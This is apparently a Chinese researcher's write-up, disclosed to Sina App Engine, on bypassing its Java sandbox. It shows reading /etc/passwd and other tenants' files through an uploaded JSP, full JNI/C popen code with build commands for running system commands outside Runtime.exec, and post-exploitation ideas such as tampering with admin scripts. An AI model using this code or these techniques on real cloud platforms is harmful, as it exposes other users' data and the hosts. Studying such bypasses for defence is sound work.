SAE云服务安全沙箱绕过3(绕过命令执行防御)

摘要
谢各位捧场，经过努力，作者已经打到了第三关，这一关叫做“命令执行关”。也不知道是因为作者描述不清楚，还是SAE的理解出现偏差，我们没有直接沟通过，只是作者写篇文章，先交给那边“审核”，“审核”通过后，才发布了，所有的交流，都仅限于文章本身。这种沟通的障碍，是此次绕过安全防御的起始。在作者的第二关：《SAE云服务安全沙箱绕过2(利用crackClassLoader)》（http://www.inbreak.net /archives/411）一文中，提到利用crackClassLoader，绕过java安全沙箱的例子，文末作者以一个命令的成功执行结尾，并且使用cat命令，打出了其他云用户的首页。
正文
SAE看到了禁止命令执行的重要性。在本文的开始，先查看SAE的环境和限制。
上传一个命令执行的JSP页面，打开：

这个错误信息，完全不同于原本JAVA沙盒的权限异常信息，并非是java标准沙盒导致的标准权限异常，所以绕过的思路，和标准沙盒肯定不一致。

从错误提示中，可以推测，SAE在runtime.exec函数的执行层面做了限制（包括processBuilder.start()也有限制）。注意，是针对这个函数做的限制，按照之前的思想，作者要做的，当然是绕过这个函数。SAE也是这么认为的，但是，SAE开发人员和作者理解的细节上有偏差。上篇文章，作者发给SAE，内容写到绕过了SAE的沙盒环境，注意是SAE的JAVA沙盒环境。文章原意是，绕过沙盒后，可以做很多事情，而执行 cmd仅仅是其中一种罢了。SAE理解为，不让恶意用户执行cmd命令，就可以防止绕过了，昏倒。

作者认为，SAE是云，云安全需要保护的，是用户的数据，至于能不能执行命令，其实是次要的。站在云安全的立场，作者认为，执行系统命令神马的，是web时代的黑客干的，云时代，大家要做的，起码是把云上用户的数据弄出来。

普通的文件操作，在没有bypass之前，出现了沙盒的错误信息。如果开发人员和作者推测的一致，仅仅针对exec做限制，那就可能没有原来的沙盒策略，仅仅禁止了exec执行命令的函数，这相当于修改了JRE环境。

这次为了使用方便，作者把文章《SAE云服务安全沙箱绕过2(利用crackClassLoader)》（http://www.inbreak.net/archives/411）中setPolicy这段代码，单独拎出来写好放上去。在web应用环境中，权限设置是针对当前web应用下所有class的，所以只要成功设置了AllPermissions策略，后面文件操作什么的，就统统不再限制了。
第一步执行设置策略setPolicy代码，代码上一篇文章有，这里不再提了，在ExpPermissions2类中有的，这次只是写了个JSP直接调用提权。

这说明SAE真的和作者推测的一致，仅仅限制了EXEC命令执行，这对于云来说，相当于不限制。

上图是读取/etc/passwd的内容，进一步列目录，可以到用户的目录中，读取用户的数据。从这里看到，我们已经可以管理其他云用户的文件了。

http://1.bypass3.sinaapp.com/bypass3forfile.jsp?action=fileread& filename=/data1/jetty_work/201/某用户/jetty-0.0.0.0- balabalaXXXXXOOOOOs.war-_1_webrss-any-/webapp/do.jsp

其实bypass到这里，就已经破防了，但是为了技术研究，以及提醒SAE不要做这样掩耳盗铃的方案，作者又做了一件事情。Sae的开发人员认为，限制了Runtime.exec()函数后，就无法执行系统命令了，但是真是这样么？

Java可以调用c语言的动态库，加载进来后，相当于直接使用c语言代码，SAE只限制了exec，bypass这个限制的思路就是调用c语言的动态库。

package net.inbreak;
public class Loadlab {
        static {
                try {
                        System.load("/root/javaso/libLoadlab.so");
                } catch (UnsatisfiedLinkError e) {
                        System.err.println("Cannot load command library:\n " + e.toString());
                }
        }
        public Loadlab() {
        }
        public native String SayHello(String cmd);
}

这个文件加载了/root/javaso/libLoadlab.so，这里需要改为SAE上，web目录的绝对地址，使用“<%=application.getRealPath("/")%>”，在jsp上拿到即可。

javah -jni net.inbreak.Loadlab

/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class net_inbreak_Loadlab */
#ifndef _Included_net_inbreak_Loadlab
#define _Included_net_inbreak_Loadlab
#ifdef __cplusplus
extern "C" {
#endif
/*
 * Class:     net_inbreak_Loadlab
 * Method:    SayHello
 * Signature: (Ljava/lang/String;)Ljava/lang/String;
 */
JNIEXPORT jstring JNICALL Java_net_inbreak_Loadlab_SayHello
  (JNIEnv *, jobject, jstring);
#ifdef __cplusplus
}
#endif
#endif

#include <stdio.h>
#include <stdlib.h>
#include<string.h>
#include "net_inbreak_Loadlab.h"
#define BUFSIZE 1000
JNIEXPORT jstring JNICALL Java_net_inbreak_Loadlab_SayHello(JNIEnv * env, jobject arg, jstring instring)
 {
 const char *cmd = (*env)->GetStringUTFChars(env, instring, 0);
/*    char buf[1024];
    FILE *pp;
    char *returnchar=(char*)malloc(10);
if( (pp = popen(cmd, "r")) == NULL )
{
    printf("popen() error!\n");
    exit(1);
}
while(fgets(buf, sizeof buf, pp))
{
    char *ch = (char *) buf;
    strcat(returnchar,ch);
}
    char *bufc = (char*)malloc(10);
    strcpy(bufc, returnchar);
    instring = (*env)->NewStringUTF(env, bufc);
    pclose(pp);   
    //convert
*/
FILE *fp;
char buf;
char bufreturn[65535];
if((fp=popen(cmd,"r"))==NULL)
   return instring;
int j=0;
while ((buf=fgetc(fp))!=EOF)
{
   //memcpy(bufreturn,buf,strlen(buf));
   bufreturn[j] = buf;
   j++;
}
pclose(fp);
char *chreturn = (char *)bufreturn;
instring = (*env)->NewStringUTF(env, chreturn);
    return instring;
 } 
int main(int argc, char *argv[]){return 0;}

这段c代码，作用是调用popen函数，执行系统命令，并返回一个jstring给JAVA。
最终的结果，和调用Runtime.exec是一致的。
生成命令：

gcc -I/usr/java/jdk1.6.0_33/include -I/usr/java/jdk1.6.0_33/include/linux -fPIC -c net_inbreak_Loadlab.c

gcc -shared -Wl,-soname,libLoadlab.so.1 -o libLoadlab.so net_inbreak_Loadlab.o

生成了libLoadlab.so文件。
这个文件要放进SAE的web目录中，并且在Loadlab.java中加载起来。
写java代码调用测试一下：

public class Setp {
        public static void main(String[] args)
        {
        String name="java.library.path";
        System.out.println(System.getProperty(name));
        net.inbreak.Loadlab l = new net.inbreak.Loadlab();
        System.out.println("haha:"+l.SayHello("ifconfig"));
        }
}

本机调用测试成功。

但是在sae上竟然失败，这就不抓图了，原因后来查明（读了一下ifconfig等文件），是因为JAVA在linux层面上的账户，没有执行系统命令的权限，这个才是最狠的禁止命令执行方案，无论如何，都不让用户执行系统命令。作者写这段JNI相关的东西，一个原因是为了记录一下，做个笔记，以后可能用到，另一个原因，是担心SAE又搞出来非主流方案，导致绕过，建议至少要禁掉crackClassLoader。

后面要执行命令，有三个思路：
1、提权。
事实上到这里，本文已经证明了可以读取任意云上的文件，提权可能会引起系统未知错误，毕竟不是一台肉鸡，担心影响SAE的线上服务器，作者没有往下去做。
2、在特殊位置写文件。
Linux系统中，总有几个sh，是管理员偶尔会跑的，我们可以改改内容，达到最终目的，但是这样做，已经偏向渗透路线了，作者的目标是云端的沙盒，并非渗透，所以就此停止。
3、替换SAE的那个做安全验证的代码
这个到是可以做一做，不过这个是作者写文章的时候，才想起来的方案。目前已经修补，作者已经在打第四关了，面对无数的限制，在没有突破前，暂时没机会做了。作者不知道能不能BY PASS第四关的变态关卡，不过肯定要试一试。

总结
云安全主要是为了保护用户的数据，至于执行命令什么的，只是获取用户数据的一种手段，包括沙盒bypass，也只是一种手段，SAE这次被BYPASS，是因为没有理解自己真正要保护的内容，往宏观上讲，是没有抓住安全的脉搏，仅仅在技术角度，针对作者的文章，做了一次技术对抗。
作者这样的人，如果目的是为了破坏，就直接做坏事了，何必写文章发给SAE呢？建议还是在沙盒上想办法，学习google，禁止不该有的权限，达到最终目的。最后说明下，本文的题目叫做“SAE云服务安全沙箱绕过3(绕过命令执行防御) “，事实上本文从头到尾都没有绕过”命令执行防御“，但是既然SAE在这里犯了错，所以就叫这个题目了。
By 空虚浪子心 http://www.inbreak.net/ 微博http://t.qq.com/javasecurity